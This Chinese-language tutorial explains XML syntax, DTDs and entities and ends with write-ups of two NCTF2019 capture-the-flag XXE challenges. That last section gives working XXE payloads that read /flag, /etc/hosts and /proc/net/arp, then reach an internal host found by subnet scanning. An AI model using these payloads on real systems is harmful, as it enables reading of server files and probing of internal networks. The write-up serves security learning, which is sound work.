什么是XML

XML是可扩展标记语言(EXtensible Markup Language)。

XML与HTML的区别

XML 被设计用来传输和存储数据,其重点是数据的内容。
HTML 被设计用来显示数据,其重点是数据的表现。
HTML 旨在显示信息,而 XML 旨在传输信息。

为什么选择XML
现实生活中一些数据之间往往存在一定的关系。我们希望能在计算机中保存和处理这些数据的同时能够保存和处理他们之间的关系。XML就是为了解决这样的需求而产生数据存储格式。

XML格式与语法
基本格式:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的声明-->
<bookstore> <!--根元素-->
<book category="COOKING"> <!--bookstore的子元素,category为属性-->
<title>1</title> <!--book的子元素-->
<year>2021</year> <!--book的子元素-->
</book> <!--book的结束-->
</bookstore> <!--bookstore的结束-->

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> 称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。

standalone值是yes的时候表示DTD仅用于检验文档结构,从而外部实体被禁用,但它的默认值是no,而且有些parser会直接忽略这一项。

基本语法:

  • 所有 XML 元素都须有关闭标签。
  • XML 标签对大小写敏感。
  • XML 必须正确地嵌套。
  • XML 文档必须有根元素。
  • XML 的属性值须加引号。

- 在 XML 中,空格会被保留,多个空格不会被合并为一个。

DTD

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地声明于XML文档中,也可作为一个外部引用。带有DTD的XML文档实例

<?xml version="1.0"?>
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)><!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]>
<note>
<to>i</to>
<from>am</from>
<head>ppp</head>
<body>ya!!!</body>
</note>

当使用外部DTD时,通过如下语法引入。

<!ELEMENT element-name category>

<!ELEMENT element-name (element-content)>

外部DTD实例

<?xml version="1.0"?>
<!DOCTYPE root-element SYSTEM "test.dtd">
<note>
<to>i</to>
<from>am</from>
<head>ppp</head>
<body>ya!!!</body>
</note>

test.dtd:

只有 PCDATA 的元素通过圆括号中的 #PCDATA 进行声明:

<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->

- PCDATA的意思是被解析的字符数据。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。

通过类别关键词 ANY 声明的元素,可包含任何可解析数据的组合:

<!ELEMENT element-name ANY>
元素 <!ENTITY 元素名称 类别> <!ELEMENT 元素名称(元素内容)>
空元素 <!ENTITY 元素名称 EMPTY> <!ELEMENT <br> EMPTY></br>
只有PCDATA的元素 <!ENTITY 元素名称 #(PCDATA)> <!ELEMENT from (#PCDATA)>
任何内容的元素 <!ENTITY 元素名称 ANY> <!ELEMENT note ANY>
子元素的元素 <!ENTITY 元素名称 (子元素名称1,子元素名称2,……)> <!ELEMENT note(to,from,heading,body)>

不过,被解析的字符数据不应当包含任何&,<,或者>字符,需要用&amp; &lt; &gt;实体来分别替换

- CDATA意思是字符数据,CDATA 是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。

DTD属性

属性声明使用以下语法

<!ATTLIST 元素名称 属性名称 属性类型 默认值>

DTD实例

<!ATTLIST payment identity CDATA "A">

XML实例

<payment identity="A" />

DTD-实体

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。

实体引用是对实体的引用。

实体可以在内部或外部进行声明

一个内部实体声明

语法

<!ENTITY entity-name “entity-value”>

实例

DTD 实例:

<!ENTITY writer “Donald Duck.”>
<!ENTITY copyright “Copyright runoob.com”>

XML 实例:

<author>&writer;&copyright;</author>

注意: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。


一个外部实体声明

语法

<!ENTITY entity-name SYSTEM “URI/URL”>

实例

DTD 实例:

<!ENTITY writer SYSTEM “http://www.runoob.com/entities.dtd">
<!ENTITY copyright SYSTEM “http://www.runoob.com/entities.dtd">

XML example:

<author>&writer;&copyright;</author>

下面给两道xxe的题

[NCTF2019]Fake XML cookbook

xxe直接构造查看

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY a SYSTEM "file:///flag" >
]>
<user><username>&a;</username><password>1</password></user>

[NCTF2019]True XML cookbook

通过标题可知为xxe漏洞

post报文直接构造xml

通过读取/etc/hosts/proc/net/arp 得到C段的ip。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY a SYSTEM "file:///etc/hosts">
]>
<user><username>&a;</username><password>1</password></user>

得到

127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

<?xml version="1.0" ?>
<!DOCTYPE a[
<!ENTITY name SYSTEM "file:///proc/net/arp" >]
>
<user><username>&name;</username><password>1</password></user>

得到

IP address HW type Flags HW address Mask Device
10.0.145.2 0x1 0x2 02:42:0a:00:91:02 * eth0

访问10.0.145.2直接报错,但没关系,我们可以进行C段扫描(暴力破解)

10.0.145.11

得出flag

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY a SYSTEM "http://10.0.145.11">
]>
<user><username>&a;</username><password>213</password></user>